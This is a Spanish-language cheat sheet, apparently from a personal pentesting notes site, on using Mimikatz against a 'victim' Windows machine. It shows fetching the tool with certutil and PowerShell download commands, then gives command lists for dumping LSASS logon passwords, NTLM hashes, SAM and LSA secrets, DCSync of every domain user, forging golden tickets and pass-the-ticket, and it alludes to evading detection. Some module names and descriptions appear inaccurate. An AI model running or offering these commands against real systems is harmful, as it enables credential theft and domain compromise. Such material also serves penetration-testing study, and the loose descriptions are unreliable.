# Mimikatz

> **Mimikatz es una herramienta de código abierto para Windows utilizada en ciberseguridad que puede extraer credenciales de autenticación, como contraseñas, hashes, PIN y tickets de Kerberos, de la memoria de los sistemas.** Fue creada en 2007 por el investigador de seguridad francés Benjamin Delpy para demostrar vulnerabilidades en los protocolos de autenticación de Microsoft.

mimikatz empezó como ejemplo para explotar una vulnerabilidad en windows encontrada por el creador Benjamin Delpy, esta vulnerabilidad que guardaba una copia encriptada de la password y una llave que podía usarse para descifrarla a la vez en la memoria. ahora utiliza varias técnicas y vulnerabilidades diferentes para extraer credenciales, entre otros.

que podemos explotar con mimikatz:

* Pass-The-Hash
* Pass-The-Ticket
* Pass-The-Cache
* Overpass-the-hash
* Golden y Silver ticket attacks
* etc.

### Instalación de mimikatz

primer debemos saber que mimikatz tiene ciertos requisitos:

* instalarlo en el equipo victima
* tener privilegios administrativos

de igual manera, si el equipo cuenta con medidas de seguridad la detección será rápida pero podemos usar técnicas para evitar las mismas.

ya sabiendo esto, iniciemos la instalación&#x20;

```sh
# instalar desde CMD
certutil -urlcache -split -f "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" mimikatz.zip
```

```powershell
# instalar desde PowerShell
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" -OutFile "mimikatz.zip"
```

```powershell
# descomprimir ZIP

# desde CMD
tar -xf mimikatz.zip -C mimikatz_folder

# desde PowerShell (verifica la descarga y extrae el contenido)

if (Test-Path "mimikatz.zip") {
    
    Expand-Archive -Path "mimikatz.zip" -DestinationPath ".\mimikatz\" -Force
    Write-Host "Archivo extraído en carpeta: mimikatz"
} else {
    Write-Host "Error: Archivo no descargado"
}
```

## Uso de mimkatz

### Ejecución de mimikatz

* recordemos que requiere administrador.

```sh
cd mimikatz\x64
mimikatz.exe
```

### Verificar privilegios

al iniciar el programa lo primero que debemos hacer es verificar nuestros privilegios:

```
privilege::debug
```

el output esperado es:

```
Privilege '20' OK
```

si de lo contrario vemos un error significa que necesitamos tener mas privilegios en la maquina victima.

### Comandos y módulos&#x20;

Mimikatz está organizado en módulos que permiten realizar diferentes acciones. Los modulos mas importantes son:

* **`sekurlsa`**: Este módulo es el principal utilizado para extraer credenciales de LSASS.
* **`kerberos`**: Permite interactuar con el subsistema Kerberos de Windows, incluyendo la extracción e inyección de tickets.
* **`lsadump`**: Este módulo se utiliza para interactuar con la Base de Datos de la Autoridad de Seguridad Local (LSA), incluyendo la extracción de hashes NTLM.&#x20;

{% hint style="info" %}
mimikatz cuenta con demasiados módulos, algunos de los demás módulos de mimikatz son:

```
token - Manipulacion de tokens
privilege - Gestion de privilegios
golden - Creacion de Golden Tickets
silver - Creacion de Silver Tickets
ptt - Pass-the-Ticket
credman - Credential Manager
vault - Windows Vault
dpapi - Data Protection API
wdigest - Credenciales WDigest
crypto - Operaciones criptograficas
cert - Certificados
scauth - Smart Card authentication
process - Manipulacion de procesos
service - Servicios Windows
event - Eventos del sistema
inetinfo - Informacion de red
misc - Funcionalidades varias
standard - Comandos basicos
```

{% endhint %}

en mimikatz los comandos se estructuran de una manera un tanto mas única:

```sh
modulo::comando <opcion>
modulo::subcomando /parametro:valor
```

### Autenticación y credenciales (`sekurlsa`)

```sh
# Dumpear todas las credenciales por logon
sekurlsa::logonpasswords

# Dumpear hashes NTLM
sekurlsa::msv

# Dumpear Credenciales WDigest
sekurlsa::wdigest

# Listar Tickets Kerberos
sekurlsa::tickets

# Listar Credenciales SSP
sekurlsa::ssp

# Listar Credenciales CloudAP (Azure)
sekurlsa::cloudap

# Listar Credenciales LiveSSO (Navegador)
sekurlsa::livessp

# Extraer claves de cifrado
sekurlsa::keys

# Listar procesos con sesiones autenticadas
sekurlsa::process

# Dumpear LSA secrets
sekurlsa::lsa
```

### Gestión de Tickets Kerberos (`kerberos`)

```sh
# Listar tickets actuales
kerberos::list

# Listar tickets actuales en un formato detallado
kerberos::list /export

# Purgar tickets
kerberos::purge

# Crear golden ticket
kerberos::golden /admin:Administrator /domain:empresa.com /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi

# Usar un ticket
kerberos::ptt golden.kirbi
```

### Trabajo con Certificados y claves (`crypto`)

```sh
# Listar proveedores criptograficos
crypto::listProviders

# Listar almacenes de certificados
crypto::certificates

# Exportar certificados
crypto::certificates /export

# Listar claves CNG
crypto::cng

# Listar claves CAPI
crypto::capi
```

{% hint style="info" %}
**Las claves CNG (Cryptography API: Next Generation) sirven para el almacenamiento y la recuperación seguros de claves criptográficas en sistemas operativos Windows.** \\

**Las "claves CAPI" en Windows se refieren a la Interfaz de Programación de Aplicaciones Criptográficas (CryptoAPI), un conjunto de bibliotecas que permiten a los desarrolladores añadir funciones de seguridad como el cifrado y la firma digital a sus aplicaciones.**&#x20;
{% endhint %}

### Secrets LSA (`lsadump`)

```sh
# Dumpear secrets de LSA
lsadump::secrets

# Dumpear SAM (hashes locales)
lsadump::sam

# Dumpear cache de dominios
lsadump::cache

# Listar Backup keys
lsadump::backupkeys

# Informacion del dominio (Active directory)
lsadump::dcsync /domain:empresa.com /user:Administrator

# Todos los usuarios del dominio (Active directory)
lsadump::dcsync /domain:empresa.com /all

# Especifico para un usuario (Active directory)
lsadump::dcsync /domain:empresa.com /user:usuario
```

### Gestión de tokens de autenticacion

```sh
# Listar tokens
token::list

# Elevar privilegios
token::elevate

# Revertir a token original
token::revert
```

### Gestión de procesos en memoria (`process`)

```sh
# Listar procesos
process::list

# Suspender proceso
process::suspend /pid:1234

# Reanudar proceso
process::resume /pid:1234

# cambiar el contexto de mimikatz a un proceso especifico, adaptar privilegios y acceder a la memoria del mismo
process::switch /pid:1234
```

### Trabajo con Windows Vault

```sh
# Listar credenciales del vault
vault::list

# Credenciales Wi-Fi
vault::cred /patch

# Listar vaults
vault::list /type:all
```

{% hint style="info" %}
Windows Vault es un area de almacenamiento protegido dentro del sistema operativo Windows que guarda secretos, contraseñas y otra información personal.
{% endhint %}

### Misceláneo (`misc`)

```sh
# Comprobar estado de mimikatz
misc::status

# Comprobar si es una VM
misc::detectvm
```

***

```sh
# abandonar la consola de mimikatz
exit
```
